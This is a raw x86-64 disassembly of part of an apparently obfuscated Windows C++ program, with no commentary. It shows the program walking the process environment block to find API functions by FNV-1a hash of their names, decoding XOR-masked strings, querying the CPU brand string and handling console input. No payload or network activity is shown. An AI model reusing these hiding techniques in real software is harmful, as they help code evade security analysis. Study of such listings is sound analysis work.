mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xfa0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400278e3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400278e3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400278de
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400278c0
cmp ebx, 0xe80fd3a
je 0x1400278e8
test r8d, r8d
jne 0x1400278a0
mov rax, qword [rax]
jmp 0x140027870
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0x19185ce48caf47fa
mov qword [rsp + 0x50], rax
movabs rax, 0x156f7fa24a361259
mov qword [rsp + 0x58], rax
movabs rax, 0x1fffffffea53f968
mov qword [rsp + 0x60], rax
movabs rcx, 0xe00000000f0df829
mov qword [rsp + 0x68], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6a6b3987e3dd3791
mov qword [rbp - 0x70], rax
movabs rax, 0x66410dc721557331
mov qword [rbp - 0x68], rax
movabs rax, 0x1fffffffea538a11
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rcx
lea rax, [rbp + 0xc68]
mov ebx, 4
mov ecx, ebx
nop dword [rax]
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140027990
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0xc60], xmm0
movdqa xmm1, xmmword [rbp - 0x60]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0xc70], xmm1
movdqa xmmword [rbp + 0xc80], xmm4
movdqa xmmword [rbp + 0xc90], xmm5
lea rax, [rbp + 0x8330]
lea rcx, [rbp + 0xc60]
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400279f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea rcx, [rbp + 0x8330]
call fcn.140020f40
test al, al
je 0x140028095
movabs rax, 0x75c0967bf1e8927
mov qword [rbp + 0x850], rax
movabs rax, 0x5a00e666de8808b6
mov qword [rbp + 0x858], rax
movabs rax, 0x532361f6d1994d4
mov qword [rbp + 0x860], rax
movabs rax, 0x5e09fc746aa0490d
mov qword [rbp + 0x868], rax
movabs rax, 0xf7b30865d748fb5
mov qword [rbp + 0x870], rax
movabs rax, 0x8f72186063f3357
mov qword [rbp + 0x878], rax
movabs rax, 0x1fffffffe00a0c75
mov qword [rbp + 0x880], rax
movabs rcx, 0xe00000001ff537d7
mov qword [rbp + 0x888], rcx
movabs rax, 0x622f6802d34e832d
mov qword [rbp + 0x8d0], rax
movabs rax, 0x7a659009b3ed7a96
mov qword [rbp + 0x8d8], rax
movabs rax, 0x2541457a0e76e6a4
mov qword [rbp + 0x8e0], rax
movabs rax, 0x38298e1101c32865
mov qword [rbp + 0x8e8], rax
movabs rax, 0x7d0e5fff7d19e0c7
mov qword [rbp + 0x8f0], rax
movabs rax, 0x6d8354f66b505077
mov qword [rbp + 0x8f8], rax
movabs rax, 0x1fffffffe00a0c07
mov qword [rbp + 0x900], rax
mov qword [rbp + 0x908], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
lea rax, [rbp + 0x3e08]
mov rcx, r14
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140027b90
movdqa xmm0, xmmword [rbp + 0x850]
xorps xmm0, xmmword [rbp + 0x8d0]
movdqa xmmword [rbp + 0x3e00], xmm0
movdqa xmm1, xmmword [rbp + 0x860]
xorps xmm1, xmmword [rbp + 0x8e0]
movdqa xmmword [rbp + 0x3e10], xmm1
movdqa xmm0, xmmword [rbp + 0x870]
xorps xmm0, xmmword [rbp + 0x8f0]
movdqa xmmword [rbp + 0x3e20], xmm0
movdqa xmm1, xmmword [rbp + 0x880]
xorps xmm1, xmmword [rbp + 0x900]
movdqa xmmword [rbp + 0x3e30], xmm1
movdqa xmmword [rbp + 0x3e40], xmm6
movdqa xmmword [rbp + 0x3e50], xmm7
movdqa xmmword [rbp + 0x3e60], xmm8
movdqa xmmword [rbp + 0x3e70], xmm9
lea rax, [rbp + 0x9bf0]
lea rcx, [rbp + 0x3e00]
mov edx, 6
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140027c32
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], rdi
mov qword [rbp + 0x358], rdi
lea rax, [rbp + 0x9bf0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140027cb4
lea rdx, [rbp + 0x9bf0]
lea rcx, [rbp + 0x340]
call fcn.14000b450
lea rax, [rbp + 0x340]
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x340]
cmp qword [rbp + 0x358], 0xf
cmova rdx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x350]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001cb10
nop
lea rcx, [rbp + 0x340]
call fcn.14000a6f0
movabs rax, 0x38c71a63d92c4fe
mov qword [rbp + 0x790], rax
movabs rax, 0x2124ea93ae35e99
mov qword [rbp + 0x798], rax
movabs rax, 0x24fff070d55ee2a
mov qword [rbp + 0x7a0], rax
movabs rax, 0x1579e5e5ee181c15
mov qword [rbp + 0x7a8], rax
movabs rax, 0xa01bb62a8
mov qword [rbp + 0x7b0], rax
movabs rcx, 0x6a8c91f8aff
mov qword [rbp + 0x7b8], rcx
movabs rax, 0x6af812c353fcab9d
mov qword [rbp + 0x7f0], rax
movabs rax, 0x716728cc48c330f6
mov qword [rbp + 0x7f8], rax
movabs rax, 0x762190442d7b8a4f
mov qword [rbp + 0x800], rax
movabs rax, 0x65099096ce6c7f74
mov qword [rbp + 0x808], rax
movabs rax, 0xa01cf10c7
mov qword [rbp + 0x810], rax
mov qword [rbp + 0x818], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x3738]
mov ecx, 6
nop word [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140027df0
movdqa xmm0, xmmword [rbp + 0x790]
xorps xmm0, xmmword [rbp + 0x7f0]
movdqa xmmword [rbp + 0x3730], xmm0
movdqa xmm1, xmmword [rbp + 0x800]
xorps xmm1, xmmword [rbp + 0x7a0]
movdqa xmmword [rbp + 0x3740], xmm1
movdqa xmm0, xmmword [rbp + 0x810]
xorps xmm0, xmmword [rbp + 0x7b0]
movdqa xmmword [rbp + 0x3750], xmm0
movdqa xmmword [rbp + 0x3760], xmm5
movdqa xmmword [rbp + 0x3770], xmm6
movdqa xmmword [rbp + 0x3780], xmm7
lea rax, [rbp + 0x8e50]
lea rcx, [rbp + 0x3730]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140027e70
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xa40], xmm0
mov qword [rbp + 0xa50], rdi
mov qword [rbp + 0xa58], rdi
lea rax, [rbp + 0x8e50]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140027f02
lea rdx, [rbp + 0x8e50]
lea rcx, [rbp + 0xa40]
call fcn.14000b450
lea rdx, [rbp + 0xa40]
lea rcx, [0x1401bce80]
call fcn.140093450
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140027fc3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140027fc3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140027fbe
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140027fa0
cmp ebx, 0x2fa62ca8
je 0x140027fc8
test r8d, r8d
jne 0x140027f80
mov rax, qword [rax]
jmp 0x140027f50
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0xfa0
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028073
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028073
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002806e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028050
cmp ebx, 0xe80fd3a
je 0x140028078
test r8d, r8d
jne 0x140028030
mov rax, qword [rax]
jmp 0x140028000
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
xor edi, edi
movabs rax, 0xf2df77c69fcb020
mov qword [rsp + 0x50], rax
movabs rax, 0x33783c81d2385619
mov qword [rsp + 0x58], rax
xorps xmm2, xmm2
movabs rax, 0x21419b380c95d273
mov qword [rsp + 0x70], rax
movabs rax, 0x33783c81d2543a7d
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x2308]
mov r14d, 2
mov ecx, r14d
nop dword [rax]
nop dword [rax + rax]
mov qword [rax - 8], rdi
mov qword [rax], rdi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x1400280f0
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x2300], xmm0
movdqa xmmword [rbp + 0x2310], xmm2
lea rcx, [rbp + 0x5e30]
lea rax, [rbp + 0x2300]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028233
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028233
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002822e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028210
cmp ebx, 0xe463da3c
je 0x140028238
test r8d, r8d
jne 0x1400281f0
mov rax, qword [rax]
jmp 0x1400281c0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
lea rcx, [rbp + 0x5e30]
call rdx
test rax, rax
je 0x140028316
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400282f3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400282f3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400282ee
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400282d0
cmp ebx, 0xf84eee59
je 0x1400282f8
test r8d, r8d
jne 0x1400282b0
mov rax, qword [rax]
jmp 0x140028280
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor edx, edx
mov rcx, r15
call rax
movdqa xmm0, xmmword [0x1401779b0]
movdqu xmmword [rbp - 0x10], xmm0
mov eax, 0x80000000
xor ecx, ecx
cpuid
mov r9d, eax
mov dword [rbp - 0xc], ebx
mov dword [rbp - 8], ecx
mov dword [rbp - 4], edx
mov r8d, 0x80000000
cmp eax, r8d
jb 0x14002839e
mov eax, r8d
xor ecx, ecx
cpuid
mov dword [rbp - 0x10], eax
mov dword [rbp - 0xc], ebx
mov dword [rbp - 8], ecx
mov dword [rbp - 4], edx
cmp r8d, 0x80000002
jne 0x14002836c
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rbp + 0xcd50], xmm0
jmp 0x140028396
cmp r8d, 0x80000003
jne 0x140028382
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rbp + 0xcd60], xmm0
jmp 0x140028396
cmp r8d, 0x80000004
jne 0x140028396
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [rbp + 0xcd70], xmm0
inc r8d
cmp r8d, r9d
jbe 0x140028343
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028423
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028423
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002841e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028400
cmp ebx, 0xbc0e3315
je 0x140028428
test r8d, r8d
jne 0x1400283e0
mov rax, qword [rax]
jmp 0x1400283b0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov edx, 0xe
mov rcx, r13
call rax
movabs rax, 0x15b61ebfdb0dcd25
mov qword [rbp + 0xc60], rax
movabs rax, 0x520982bd8113c0e6
mov qword [rbp + 0xc68], rax
movabs rax, 0x189349a6c55cd304
mov qword [rbp + 0xc70], rax
movabs rax, 0x1ca8847b2cefea6d
mov qword [rbp + 0xc78], rax
movabs rax, 0x158919545f6f23dd
mov qword [rbp + 0xc80], rax
movabs rax, 0x746f230f66bdc
mov qword [rbp + 0xc88], rax
movabs rax, 0x1292fe11485abff9
mov qword [rbp + 0xc90], rax
movabs rax, 0x5dd72f0cf6bf0a41
mov qword [rbp + 0xc98], rax
movabs rax, 0x61b0e98d4a7e20a
mov qword [rbp + 0xca0], rax
movabs rax, 0x3055723274b222f5
mov qword [rbp + 0xca8], rax
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
xorps xmm10, xmm10
xorps xmm11, xmm11
movabs rax, 0x35c577d78f07c72f
mov qword [rbp + 0xd00], rax
movabs rax, 0x3c66ebcef376b6c5
mov qword [rbp + 0xd08], rax
movabs rax, 0x74e62f86b133bd24
mov qword [rbp + 0xd10], rax
movabs rax, 0x6fc1ea124acf9301
mov qword [rbp + 0xd18], rax
movabs rax, 0x7af03932164f0db5
mov qword [rbp + 0xd20], rax
movabs rax, 0x61272384519e4ba9
mov qword [rbp + 0xd28], rax
movabs rax, 0x77e78d62217ac697
mov qword [rbp + 0xd30], rax
movabs rax, 0x7db25c6d93d37a61
mov qword [rbp + 0xd38], rax
movabs rax, 0x266f6df9a0c98d69
mov qword [rbp + 0xd40], rax
movabs rax, 0x3001207d24e277a6
mov qword [rbp + 0xd48], rax
lea rax, [rbp + 0x73b8]
mov ecx, 0xa
xor esi, esi
nop
mov qword [rax - 8], rsi
mov qword [rax], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x1400285c0
movdqa xmm0, xmmword [rbp + 0xd00]
xorps xmm0, xmmword [rbp + 0xc60]
movdqa xmmword [rbp + 0x73b0], xmm0
movdqa xmm1, xmmword [rbp + 0xc70]
xorps xmm1, xmmword [rbp + 0xd10]
movdqa xmmword [rbp + 0x73c0], xmm1
movdqa xmm0, xmmword [rbp + 0xd20]
xorps xmm0, xmmword [rbp + 0xc80]
movdqa xmmword [rbp + 0x73d0], xmm0
movdqa xmm1, xmmword [rbp + 0xd30]
xorps xmm1, xmmword [rbp + 0xc90]
movdqa xmmword [rbp + 0x73e0], xmm1
movdqa xmm0, xmmword [rbp + 0xd40]
xorps xmm0, xmmword [rbp + 0xca0]
movdqa xmmword [rbp + 0x73f0], xmm0
movdqa xmmword [rbp + 0x7400], xmm7
movdqa xmmword [rbp + 0x7410], xmm8
movdqa xmmword [rbp + 0x7420], xmm9
movdqa xmmword [rbp + 0x7430], xmm10
movdqa xmmword [rbp + 0x7440], xmm11
lea rax, [rbp + 0xbac0]
lea rdx, [rbp + 0x73b0]
lea ebx, [rcx + 0xa]
movups xmm0, xmmword [rdx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rbx, 1
jne 0x140028681
lea rdx, [rbp + 0xbac0]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001c1e0
lea rdx, [0x14001d2c0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140028783
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140028783
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r11 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ebx, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002877e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140028760
cmp ebx, 0xbc0e3315
je 0x140028788
test r8d, r8d
jne 0x140028740
mov rax, qword [rax]
jmp 0x140028710
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
mov edx, 7
mov rcx, r13
call rax
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xf7e453b1987c38
mov qword [rsp + 0x50], rax
movabs rax, 0x76b26ebe28830a2f
mov qword [rsp + 0x58], rax
xorps xmm2, xmm2
movabs rax, 0x61d7903fd8ed3e32
mov qword [rsp + 0x70], rax
movabs rax, 0x76b26ebe08a3305b
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x23c8]
mov rcx, r14
nop dword [rax]
mov qword [rax - 8], rsi
mov qword [rax], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140028800
movdqa xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x23c0], xmm0
movdqa xmmword [rbp + 0x23d0], xmm2
lea rcx, [rbp + 0x2f50]
lea rax, [rbp + 0x23c0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea rax, [rbp + 0x2f50]
mov rcx, r15
nop
inc rcx
cmp byte [rax + rcx], sil
jne 0x1400288c0
mov rax, r12
mov rdx, qword [0x1401bce40]
sub rax, rdx
cmp rax, rcx
jb 0x14002ea89
lea rax, [0x1401bce30]
cmp qword [0x1401bce48], 0xf
cmova rax, qword [0x1401bce30]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x2f50]
lea r8, [0x1401bce30]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xa60]
call fcn.14000c660
nop
mov r8d, 1
lea rdx, [0x1400f9544]
lea rcx, [rbp + 0xa60]
call fcn.14000abc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x700], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x6f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x700], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x1401bce50]
cmp qword [0x1401bce68], 0xf
cmova rdx, qword [0x1401bce50]
mov r8, qword [0x1401bce60]
lea rcx, [rbp + 0x6f0]
call fcn.14000abc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rdx, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
mov rcx, rbx
call fcn.14001cb10
lea rdx, [0x14001d2c0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140028a55
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028a50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028a50
